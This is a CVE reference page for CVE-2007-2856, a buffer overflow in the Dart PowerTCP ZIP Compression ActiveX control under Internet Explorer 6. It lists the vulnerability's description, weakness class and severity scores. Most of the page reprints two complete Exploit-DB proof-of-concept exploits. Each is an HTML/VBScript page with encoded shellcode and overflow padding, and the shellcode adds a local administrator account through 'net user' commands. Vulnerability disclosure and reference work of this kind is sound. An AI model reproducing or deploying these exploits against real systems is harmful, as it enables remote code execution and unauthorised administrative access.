CVE-2007-2856 : Detail

CVE-2007-2856

Overflow
15.58%V4
Network
2007-05-24
17h00 +00:00
2018-10-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

Buffer overflow in the Dart Communications PowerTCP ZIP Compression ActiveX control in DartZip.dll 1.8.5.3, when Internet Explorer 6 is used, allows user-assisted remote attackers to execute arbitrary code via a long first argument to the QuickZip function, a related issue to CVE-2007-2855.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 3982

Publication date : 2007-05-23 22h00 +00:00
Author : rgod
EDB Verified : Yes

<!-- IE 6 / Dart Communications PowerTCP Service Control (DartService.dll 3.1.3.3) remote buffer overflow exploit / xp sp2 ita ver by rgod site: retrogod.altervista.org software site: www.dart.com Install, Uninstall methods are vulnerable shellcode is executed after the browser window is closed, no crash more chars cause an heap overflow Sometimes you will see an about box popping, code is executed aswell Adjusting to another windows language version is very tricky, use the same logic --> <html> <object classid='clsid:13F4DEDE-D19F-11D2-BA94-0040053687FE' id='Service' ></object> <script language='vbscript'> 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") nop = unescape("%90%90%90%90") eip = unescape("%1e%a6%3e%7e") 'call edi user32.dll patch = unescape("%01%04%04%90") jmp = unescape("%e9%27%fe%ff%ff") 'jmp near shellcode argh = "aaaa" + nop + shellcode + eip + patch + jmp Service.Uninstall argh </script> </html> # milw0rm.com [2007-05-24]
Exploit Database EDB-ID : 3984

Publication date : 2007-05-24 22h00 +00:00
Author : rgod
EDB Verified : Yes

<!-- IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) remote buffer overflow exploit / xp sp2 it by rgod site: retrogod.altervista.org software site: www.dart.com --> <html> <object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD' id='DartZip'></object> <script language='vbscript'> 'metasploit one, add a user 'sun' with pass 'tzu' shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54%42%30%42%30%42%30%4b%58%45%44%4e%43%4b%38%4e%57%45%50%4a%37%41%50%4f%4e%4b%48%4f%44%4a%51%4b%48%4f%45%42%42%41%50%4b%4e%49%34%4b%48%46%43%4b%38%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%58%42%4c%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e%46%4f%4b%33%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%35%46%32%41%30%4b%4e%48%56%4b%48%4e%50%4b%54%4b%38%4f%35%4e%41%41%50%4b%4e%4b%38%4e%51%4b%38%41%30%4b%4e%49%38%4e%45%46%42%46%50%43%4c%41%43%42%4c%46%46%4b%58%42%44%42%33%45%48%42%4c%4a%57%4e%50%4b%38%42%54%4e%30%4b%38%42%37%4e%41%4d%4a%4b%58%4a%36%4a%30%4b%4e%49%50%4b%58%42%38%42%4b%42%50%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%53%48%4f%42%36%48%55%49%48%4a%4f%43%58%42%4c%4b%47%42%45%4a%36%42%4f%4c%58%46%30%4f%45%4a%46%4a%49%50%4f%4c%38%50%30%47%45%4f%4f%47%4e%43%36%4d%56%46%36%50%32%45%46%4a%47%45%56%42%52%4f%52%43%36%42%52%50%46%45%56%46%47%42%52%45%47%43%37%45%56%44%57%42%42%43%57%45%47%50%56%42%52%46%47%4c%37%45%47%42%52%4f%42%41%34%46%34%46%54%42%42%48%42%48%32%42%52%50%46%45%36%46%57%42%52%4e%46%4f%36%43%56%41%46%4e%36%47%56%44%47%4f%36%45%57%42%37%42%52%41%54%46%46%4d%56%49%46%50%56%49%36%43%37%46%47%44%37%41%56%46%47%4f%56%44%37%43%37%42%52%43%57%45%57%50%46%42%42%4f%32%41%34%46%54%46%54%42%50%5a") EIP = unescape("%67%31%41%7e") 'call esp user32.dll Source=String(1024, "A") + EIP + String(36, unescape("%90")) + shellcode + String(24, unescape("%90")) Destination="default" IncludeSubs=True PreservePath=True Password="default" Encryption=1 DartZip.QuickZip Source ,Destination ,IncludeSubs ,PreservePath ,Password ,Encryption </script> </html> # milw0rm.com [2007-05-25]

Products Mentioned

Configuraton 0

Dart>>Powertcp_zip_compression >> Version 1.8.5.3

Microsoft>>Internet_explorer >> Version 6

References

http://osvdb.org/38111
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/24163
Tags : vdb-entry, x_refsource_BID
http://www.securityfocus.com/bid/24142
Tags : vdb-entry, x_refsource_BID
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.